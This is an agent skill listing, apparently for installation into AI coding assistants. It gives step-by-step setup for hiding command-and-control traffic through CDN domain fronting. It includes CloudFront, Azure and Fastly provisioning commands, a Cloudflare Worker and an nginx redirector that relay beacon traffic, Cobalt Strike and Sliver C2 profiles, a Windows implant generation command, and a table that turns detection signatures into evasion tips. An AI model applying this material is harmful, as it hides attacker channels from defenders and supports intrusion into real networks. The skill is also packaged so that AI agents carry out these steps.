# C2 Domain Fronting

> Domain fronting and CDN abuse for C2 concealment — CloudFront, Azure CDN, Fastly setup, TLS SNI vs Host header technique, CDN-based redirectors, and integration with Cobalt Strike and Sliver.

- Skill: `purpleailab/c2-domain-fronting` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/c2-domain-fronting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/c2-domain-fronting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/c2-domain-fronting

---


# Domain Fronting & CDN Abuse for C2

Domain fronting exploits the discrepancy between the TLS SNI field and the HTTP Host header when traffic passes through a CDN. The network-level observer sees a connection to a legitimate, high-reputation domain (e.g., `cdn.microsoft.com`) while the CDN routes the request to the operator's origin based on the inner Host header. This makes blocking the C2 equivalent to blocking the entire CDN.

## Quick Reference

```bash
# Test domain fronting via CloudFront
curl -s -H "Host: <C2_DISTRIBUTION>.cloudfront.net" https://allowed.cloudfront.net/search

# Test Azure CDN fronting
curl -s -H "Host: <C2_ENDPOINT>.azureedge.net" https://ajax.aspnetcdn.com/test

# Sliver HTTPS listener with domain fronting
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>

# Cobalt Strike — set in Malleable C2 profile
# header "Host" "<C2_DISTRIBUTION>.cloudfront.net";
```

## MITRE ATT&CK Mapping

| Technique | ID | Usage in Skill |
|-----------|----|----------------|
| Proxy: Domain Fronting | T1090.004 | CDN-based SNI/Host header mismatch for C2 |
| Web Service: Bidirectional Communication | T1102.002 | CDN edge as bidirectional C2 relay |
| Data Obfuscation | T1001 | C2 traffic disguised as CDN content requests |

## 1. The Domain Fronting Technique

### How It Works
```
┌─────────┐    TLS SNI: allowed.example.com    ┌──────────┐
│ Implant │ ─────────────────────────────────►  │   CDN    │
│         │    Host: c2.attacker.cloudfront.net  │  Edge    │
└─────────┘                                     └────┬─────┘
                                                     │ Routes by Host header
                                                     ▼
                                               ┌──────────┐
                                               │ C2 Origin│
                                               │  Server  │
                                               └──────────┘
```

**TLS layer (visible to network monitor):**
- SNI = `allowed.example.com` (high-reputation domain on same CDN)
- Certificate = CDN wildcard cert (e.g., `*.cloudfront.net`)
- IP = CDN edge node

**HTTP layer (inside TLS, invisible to monitor):**
- `Host: c2-distribution.cloudfront.net` → CDN routes to operator's origin

**Result:** Blocking the C2 requires blocking the entire CDN.

### Requirements
1. CDN that routes by Host header (not all do — see provider matrix)
2. A legitimate high-reputation domain on the same CDN for the SNI
3. Operator's C2 server registered as a CDN origin/backend
4. The CDN must not enforce SNI == Host (many now do)

## 2. CloudFront Domain Fronting

### Setup
```bash
# 1. Create CloudFront distribution pointing to C2 origin
aws cloudfront create-distribution \
  --origin-domain-name <C2_ORIGIN_IP_OR_DOMAIN> \
  --default-root-object index.html \
  --query 'Distribution.DomainName'
# Returns: d1234abcdef.cloudfront.net

# 2. Find a frontable domain (legitimate site on CloudFront)
# Use: dig <CANDIDATE_DOMAIN> — look for CNAME to *.cloudfront.net
dig allowed-domain.com CNAME +short
# Output: d9876xyz.cloudfront.net. → same CDN, usable as front

# 3. Test fronting
curl -v -H "Host: d1234abcdef.cloudfront.net" \
  https://allowed-domain.com/beacon

# Successful: HTTP 200 from your C2 origin
# Failed: HTTP 403 "The request could not be satisfied" — front domain not viable
```

### CloudFront Configuration
```bash
# Create distribution via JSON config
cat > /workspace/c2/cloudfront-config.json << 'EOF'
{
  "CallerReference": "c2-$(date +%s)",
  "Origins": {
    "Items": [{
      "Id": "c2-origin",
      "DomainName": "<C2_ORIGIN>",
      "CustomOriginConfig": {
        "HTTPPort": 80,
        "HTTPSPort": 443,
        "OriginProtocolPolicy": "https-only"
      }
    }],
    "Quantity": 1
  },
  "DefaultCacheBehavior": {
    "TargetOriginId": "c2-origin",
    "ViewerProtocolPolicy": "https-only",
    "AllowedMethods": {
      "Items": ["GET", "HEAD", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
      "Quantity": 7
    },
    "ForwardedValues": {
      "QueryString": true,
      "Cookies": {"Forward": "all"},
      "Headers": {"Items": ["*"], "Quantity": 1}
    },
    "MinTTL": 0, "DefaultTTL": 0, "MaxTTL": 0
  },
  "Enabled": true,
  "Comment": ""
}
EOF

aws cloudfront create-distribution --distribution-config file:///workspace/c2/cloudfront-config.json
```

### Current Status (CloudFront)
> **AWS partially mitigated domain fronting in 2018.** CloudFront now validates that the Host header matches a configured CNAME or the distribution's own domain. Pure cross-distribution fronting is blocked. However:
> - Fronting within the same distribution (multiple CNAMEs) still works
> - Fronting to distributions without custom domains may work intermittently
> - CloudFront Functions can be used to rewrite headers before origin routing

## 3. Azure CDN Domain Fronting

Azure CDN (via Verizon/Akamai POP) has historically been more permissive with Host header routing.

### Setup
```bash
# 1. Create Azure CDN profile and endpoint
az cdn profile create --name c2-cdn --resource-group <RG> --sku Standard_Verizon
az cdn endpoint create \
  --name <C2_ENDPOINT> \
  --profile-name c2-cdn \
  --resource-group <RG> \
  --origin <C2_ORIGIN> \
  --origin-host-header <C2_ORIGIN>

# Endpoint: <C2_ENDPOINT>.azureedge.net

# 2. Test fronting with a high-reputation Azure CDN domain
curl -v -H "Host: <C2_ENDPOINT>.azureedge.net" \
  https://ajax.aspnetcdn.com/test

# 3. Alternative fronting domains on Azure CDN:
#    - ajax.aspnetcdn.com
#    - az416426.vo.msecnd.net
#    - Various *.azureedge.net endpoints
```

### Azure-Specific Notes
- Azure has been tightening validation since 2021
- `Standard_Microsoft` SKU enforces SNI/Host matching — use `Standard_Verizon`
- Azure Front Door provides similar capabilities with more control
- Test each frontable domain before deployment; availability changes

## 4. Fastly Domain Fronting

Fastly's architecture makes fronting straightforward when a target domain shares the Fastly POP.

### Setup
```bash
# 1. Create Fastly service via API
curl -X POST "https://api.fastly.com/service" \
  -H "Fastly-Key: <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"name":"c2-service","type":"vcl"}'

# 2. Add backend (C2 origin)
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/backend" \
  -H "Fastly-Key: <API_TOKEN>" \
  -d "name=c2-origin&address=<C2_ORIGIN>&port=443&use_ssl=1"

# 3. Add domain
curl -X POST "https://api.fastly.com/service/<SVC_ID>/version/<VER>/domain" \
  -H "Fastly-Key: <API_TOKEN>" \
  -d "name=c2-front.global.ssl.fastly.net"

# 4. Activate version
curl -X PUT "https://api.fastly.com/service/<SVC_ID>/version/<VER>/activate" \
  -H "Fastly-Key: <API_TOKEN>"

# 5. Test
curl -v -H "Host: c2-front.global.ssl.fastly.net" \
  https://legitimate-customer.global.ssl.fastly.net/beacon
```

## 5. CDN-Based Redirectors

When pure domain fronting is unavailable, CDN edge functions (CloudFront Functions, Cloudflare Workers, Fastly Compute) act as smart redirectors.

### Cloudflare Worker Redirector
```javascript
// Cloudflare Worker — proxies C2 traffic to origin
// Deploy on a legitimate-looking domain (e.g., analytics-cdn.example.com)

addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
  const C2_ORIGIN = "https://<C2_SERVER>";
  const url = new URL(request.url);

  // Only proxy specific paths (blend with legitimate 404s on others)
  if (!url.pathname.startsWith("/api/v2/")) {
    return new Response("Not Found", { status: 404 });
  }

  // Forward to C2 origin
  const c2Url = C2_ORIGIN + url.pathname + url.search;
  const modifiedRequest = new Request(c2Url, {
    method: request.method,
    headers: request.headers,
    body: request.body
  });

  const response = await fetch(modifiedRequest);

  // Strip identifying headers from response
  const modifiedResponse = new Response(response.body, response);
  modifiedResponse.headers.set("Server", "cloudflare");
  modifiedResponse.headers.delete("X-Powered-By");

  return modifiedResponse;
}
```

### Nginx Redirector (On CDN Origin)
```nginx
# /etc/nginx/sites-available/c2-redirect.conf
# Sits behind CDN; forwards matching requests to teamserver

server {
    listen 443 ssl;
    server_name <C2_ORIGIN>;

    ssl_certificate     /etc/letsencrypt/live/<C2_ORIGIN>/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/<C2_ORIGIN>/privkey.pem;

    # Proxy Beacon traffic to teamserver
    location /s/ref {
        proxy_pass https://127.0.0.1:8443;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_ssl_verify off;
    }

    location /gp/product {
        proxy_pass https://127.0.0.1:8443;
        proxy_set_header Host $host;
        proxy_ssl_verify off;
    }

    # Return legitimate content for other paths (categorization)
    location / {
        root /var/www/html;
        index index.html;
    }
}
```

## 6. Cobalt Strike Integration

### Malleable C2 Profile for Domain Fronting
```
# /workspace/profiles/fronting.profile

set sample_name "CDN Fronting Profile";
set sleeptime "60000";
set jitter    "40";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
set host_stage "false";

https-certificate {
    # Use the CDN's certificate — no custom cert needed
    # The CDN terminates TLS; origin connection is separate
    set CN "*.cloudfront.net";
    set O  "Amazon";
    set C  "US";
}

http-get {
    set uri "/s/ref=nb_sb_noss_2";

    client {
        header "Accept" "*/*";
        header "Accept-Language" "en-US,en;q=0.5";
        # This is the critical header — CDN routes by it
        header "Host" "<C2_DISTRIBUTION>.cloudfront.net";

        metadata {
            base64url;
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/html; charset=utf-8";
        header "Server" "CloudFront";
        header "X-Cache" "Hit from cloudfront";

        output {
            netbios;
            prepend "<!DOCTYPE html><html><body>";
            append "</body></html>";
            print;
        }
    }
}

http-post {
    set uri "/api/v2/submit";

    client {
        header "Content-Type" "application/json";
        header "Host" "<C2_DISTRIBUTION>.cloudfront.net";

        id {
            base64url;
            header "X-Request-Id";
        }

        output {
            base64url;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            netbios;
            prepend "{\"status\":\"ok\",\"payload\":\"";
            append "\"}";
            print;
        }
    }
}
```

### Beacon Configuration
```
# In Cobalt Strike listener config:
# HTTPS Host (stager):  <FRONTABLE_DOMAIN>
# HTTPS Host (post):    <FRONTABLE_DOMAIN>
# HTTPS Port:           443
# Profile:              fronting.profile (loaded at teamserver start)
#
# The listener binds on the teamserver; the CDN proxies traffic to it.
# The Beacon connects to <FRONTABLE_DOMAIN>:443 (CDN edge).
# The Host header routes to <C2_DISTRIBUTION>.cloudfront.net -> C2 origin.
```

## 7. Sliver Integration

### Sliver HTTPS with Domain Fronting
```bash
# In Sliver console:

# 1. Start HTTPS listener on C2 origin
https --lhost 0.0.0.0 --lport 443 --domain <C2_ORIGIN>

# 2. Generate implant that connects to frontable domain
generate beacon --https <FRONTABLE_DOMAIN> --os windows --arch amd64 \
  --seconds 60 --jitter 40 --skip-symbols \
  --save /workspace/exploit/

# 3. Custom HTTP C2 profile for fronting
# Save as profiles/fronting.json
```

### Sliver HTTP C2 Profile for Fronting
```json
{
  "implant_config": {
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "url_parameters": [],
    "headers": [
      {"name": "Host", "value": "<C2_DISTRIBUTION>.cloudfront.net", "probability": 100},
      {"name": "Accept", "value": "text/html", "probability": 100}
    ]
  },
  "server_config": {
    "headers": [
      {"name": "Content-Type", "value": "text/html; charset=utf-8", "probability": 100},
      {"name": "Server", "value": "CloudFront", "probability": 100},
      {"name": "X-Cache", "value": "Hit from cloudfront", "probability": 100}
    ]
  }
}
```

## 8. TLS SNI vs Host Header

```
TLS ClientHello (visible):  SNI = allowed-site.cloudfront.net
HTTP Request (encrypted):   Host: c2-dist.cloudfront.net  ← CDN routes by THIS
```

| Failure Mode | Cause | Fix |
|-------------|-------|-----|
| HTTP 403 | CDN validates SNI == Host | Try alternate CDN or redirector |
| TLS error | SNI domain not on CDN | Verify domain resolves to CDN edge |
| HTTP 421 | HTTP/2 ORIGIN frame validation | Fall back to HTTP/1.1 |
| 502/504 | CDN can't reach C2 origin | Whitelist CDN IP ranges on origin firewall |

**ECH/ESNI:** Encrypted Client Hello encrypts the SNI field entirely — eliminates the need for fronting when CDN supports it. Test: `curl -v --ech true https://<C2>/beacon`
## Detection Signatures

| Indicator | Pattern | Mitigation |
|-----------|---------|------------|
| SNI/Host mismatch | TLS SNI differs from HTTP Host header | Use CDN domains from same organization |
| CDN origin pull | Unusual origin IP in CDN access logs | Use cloud VM as origin; rotate IPs |
| JA3 fingerprint | TLS fingerprint doesn't match expected browser | Match JA3 to target browser version |
| Beacon timing | Regular HTTPS requests to CDN at fixed intervals | High jitter (50%+); randomize URI paths |
| HTTP/2 ORIGIN | CDN pushes ORIGIN frame revealing allowed hosts | Fall back to HTTP/1.1 in profile |
| Response size anomaly | C2 responses differ from legitimate content | Pad responses; prepend/append real HTML |
| Certificate transparency | CT logs reveal C2 distribution domain | Use existing CDN distributions |

## Error Handling & Edge Cases

| Issue | Symptom | Resolution |
|-------|---------|------------|
| CDN blocks fronting | HTTP 403 on every request | Switch CDN provider or use CDN redirector pattern |
| DNS resolution fails | Frontable domain doesn't resolve | Verify domain is active; check DNS propagation |
| Origin connection refused | CDN can't reach C2 backend | Ensure C2 server allows CDN IP ranges in firewall |
| TLS version mismatch | Handshake failure | Match CDN's minimum TLS version (usually 1.2+) |
| Rate limiting | CDN rate-limits requests from same IP | Increase sleep; distribute across edge POPs |
| HTTP/2 enforcement | CDN upgrades to HTTP/2; breaks fronting | Force HTTP/1.1 in profile or use h2 with correct ORIGIN |
| CDN caching | Stale C2 responses served from cache | Set `Cache-Control: no-store`; TTL=0 in CDN config |
| Provider policy change | Fronting stops working without warning | Monitor; maintain fallback C2 channel (DNS, alt CDN) |

## Decision Gate

```
Is domain fronting viable for this engagement?
├── Test: curl -H "Host: <C2>.cloudfront.net" https://<FRONT_DOMAIN>/
│   ├── HTTP 200 from C2 origin → Fronting works
│   │   ├── CloudFront available → Use CloudFront + Malleable C2 profile
│   │   ├── Azure CDN available → Use azureedge.net fronting
│   │   └── Fastly available → Use Fastly global SSL fronting
│   ├── HTTP 403 → CDN enforces SNI/Host match
│   │   ├── CDN redirector pattern (Cloudflare Worker, Lambda@Edge)
│   │   ├── Same-distribution fronting (multiple CNAMEs)
│   │   └── Try alternate CDN provider
│   └── Connection error → Domain not on CDN
│       └── Use CDN redirector or direct HTTPS with categorized domain
├── ECH/ESNI available on target CDN?
│   ├── YES → ECH eliminates need for fronting; SNI is encrypted
│   └── NO  → Standard fronting or redirector required
└── Fallback strategy
    ├── Primary: Domain fronting via CDN
    ├── Secondary: CDN Worker/Function redirector
    └── Tertiary: Alternative C2 channel (see c2-alternative-channels)
```

## Tools & Resources

| Tool | Purpose | Source |
|------|---------|--------|
| Cobalt Strike | Malleable C2 profiles with fronting support | https://www.cobaltstrike.com/ |
| Sliver | Open-source C2 with HTTP profile customization | https://github.com/BishopFox/sliver |
| FindFrontableDomains | Discover CDN-hosted domains for fronting | https://github.com/rvrsh3ll/FindFrontableDomains |
| DomainHunter | Expired domain finder with categorization | https://github.com/threatexpress/domainhunter |
| Meek (Tor) | Domain fronting transport plugin | https://trac.torproject.org/projects/tor/wiki/doc/meek |
| Cloudflare Workers | Edge function C2 redirector | https://workers.cloudflare.com/ |
| mod_rewrite | Apache redirector rules | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | C2 traffic inspection/filtering proxy | https://github.com/mgeeky/RedWarden |

